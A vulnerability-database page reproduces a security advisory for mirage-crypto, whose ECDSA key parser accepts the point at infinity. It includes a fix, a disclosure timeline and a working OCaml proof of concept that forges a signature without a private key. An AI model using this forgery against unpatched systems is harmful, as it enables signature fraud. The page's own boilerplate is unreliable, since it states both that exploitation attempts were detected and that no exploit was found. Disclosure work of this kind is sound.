Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
OSEC-2026-13
No affected components available
P256{,P384,P521}.Dsa.pub_of_octets accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (point_of_octets); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.
The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.
Solution
Check for point at infinity in pub_of_octets.
Reproduction
module Dsa = Mirage_crypto_ec.P256.Dsa
(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
any message with no private key. *)
let () =
Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna)));
let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in
let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in
let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
let s = String.make 31 '\000' ^ "\001" in
Printf.printf "0x00 accepted as a public key: %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00"));
Printf.printf "forged (r, s=1) verifies under O: %b\n" (Dsa.verify ~key:o_key (r, s) z)
Timeline
- June 25th 2026: report to ocaml/security-advisories
- June 29th: acknowledgement of issue with several questions for the reporter
- July 6th: answers from reporter, including a patch
- July 27th: release of mirage-crypto 2.2.0 and security advisory
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard